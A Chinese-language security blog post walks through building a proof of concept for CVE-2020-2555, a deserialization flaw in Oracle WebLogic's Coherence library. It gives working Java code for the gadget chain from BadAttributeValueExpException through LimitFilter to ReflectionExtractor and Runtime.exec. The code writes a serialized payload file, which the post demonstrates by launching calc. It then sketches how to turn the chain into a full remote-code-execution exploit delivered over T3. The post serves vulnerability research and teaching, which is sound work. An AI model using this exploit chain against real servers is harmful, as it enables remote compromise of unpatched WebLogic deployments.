1、前言
欸欸欸,不想寫論文,起床發現https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server爆出CVE-2020-2555新的gadget細節了,打發打發時間試着寫寫POC。本文POC構造將會比較詳細,挖JDK gadget大佬自動略過吧,還有本文只是POC,不包含exp,那些想要exp的大佬們也直接略過吧,但是你好好讀文章構造出exp也不是什么難事,最后會給出exp的思路。
2、gadget分析思路
漏洞的gadget如下,需要導入coherence.jar,weblogic12.3.6 lib包下有:
先拋開上面的gadget總結一下挖掘java反序列化的思路如下:
挖掘java反序列化的思路
1、首先要找到反序列化入口(source)
2、調用鏈(gadget)
3、觸發漏洞的目標方法(sink)
反序列化漏洞的挖掘,本質上就是一個已知source和sink,如何走通整個調用流程的問題。在這里的source,可以包括
- Java原生的反序列化,即通過ObjectInputStream.readObject(),處理二進制格式內容,得到Java對象
- 專有格式的反序列化,例如通過Fastjson, Xstream等第三方庫,處理json, xml等格式內容,得到Java對象
執行目標sink,包括:
- Runtime.exec(),這種最為簡單直接,即直接在目標環境中執行命令
- Method.invoke(),這種需要適當地選擇方法和參數,通過反射執行Java方法
- RMI/JNDI/JRMP等,通過引用遠程對象,間接實現任意代碼執行的效果
從source出發,遞歸檢查其所有方法調用,如果能夠執行到sink就是一條gadget。
拿這條gadget舉例,source入口點是BadAttributeValueExpException的readObject函數。讀個ysoserial工具源碼的都知道CommonsCollections5這條gadget就是通過BadAttributeValueExpException觸發的。sink點則是Method.invoke()通過反射方法執行
3、POC構造過程
構造poc首先從sink點觸發,ReflectionExtractor類的extract函數
所以構造如下代碼是可以彈計算器的:
public static void main(String[] args) {
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
reflectionExtractor.extract(runtime);
}
反射方式觸發:
再往上回溯,誰觸發extract函數,這就找到LimitFilter類的toString()方法:
在寫段代碼:
public static void main(String[] args) {
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
reflectionExtractor.extract(runtime);
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(runtime);
limitFilter.toString();
}
將runtime對象賦值給m_oAnchorTop
limitFilter.setTopAnchor(runtime);
將reflectionExtractor賦值給m_comparator
limitFilter.setComparator(reflectionExtractor);
看圖的標注,執行2就相當於執行 reflectionExtractor.extract(runtime)
,就跟POC1構造的一樣了。
效果就是這樣:
在向上回溯,誰觸發LimitFilter類的toString()。這也就來到的source入口點,通過BadAttributeValueExpException的readObject函數。讀個ysoserial工具源碼的都知道CommonsCollections5這就是通過BadAttributeValueExpException觸發的。所以要想看明白這里需要先看懂CommonsCollections5,可以看我博客寫的:https://www.cnblogs.com/afanti/p/10199235.html,之前讀CommonsCollections5,做的筆記如下:
重寫了BadAttributeValueExpException的readObject方法的val變量賦值為BadAttributeValueExpException類,就會調用BadAttributeValueExpException的val = valObj.toString();
這就好辦了,把val賦值為limitFilter就會調用limitFilter的toString方法,自此打通了整條gadgets。
在寫一段POC:
Runtime runtime=Runtime.getRuntime();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(runtime);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, limitFilter);
File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();
然鵝,在執行時會報如下錯誤,Runtime這個類沒實現序列化接口,小問題:
首先先自定義一個危險類,如下:
import java.io.IOException;
import java.io.Serializable;
public class Afanti implements Serializable {
public void exec(String shell) throws IOException {
Runtime.getRuntime().exec(shell);
}
}
完整POC如下:
Afanti afanti = new Afanti();
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("exec", new String[]{"calc"});
LimitFilter limitFilter = new LimitFilter();
limitFilter.setComparator(reflectionExtractor);
limitFilter.setTopAnchor(afanti);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, limitFilter);
File f = new File("poc.txt");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(poc);
out.close();
調用棧如下,跟文章給的圖片一樣。
4 、思路總結
本文只是教大家怎么寫POC,exp就不給出來了提一提思路。既然能夠執行實現序列化接口類的任意方法,參數可控,exp構造就不難了。比如:可以找一個類,類的函數有執行代碼操作或者文件操作或者反序列化操作又或者jndi注入之類的。這樣的類一抓一大把,會構造CVE-2019-2725的,自然知道exp怎么寫。寫完exp,通過t3協議發包,RCE一發入魂。最后提醒大家一點要想構造jndi的exp,jdk版本得選對,要不會遇到很多坑。(想要找危險類的可以試試我寫的這篇文章的工具,改改正則:https://www.anquanke.com/post/id/199703)
參考鏈接:
https://www.zerodayinitiative.com/blog/2020/3/5/cve-2020-2555-rce-through-a-deserialization-bug-in-oracles-weblogic-server
https://www.oracle.com/security-alerts/cpujan2020.html
https://www.cnblogs.com/afanti/p/10199235.html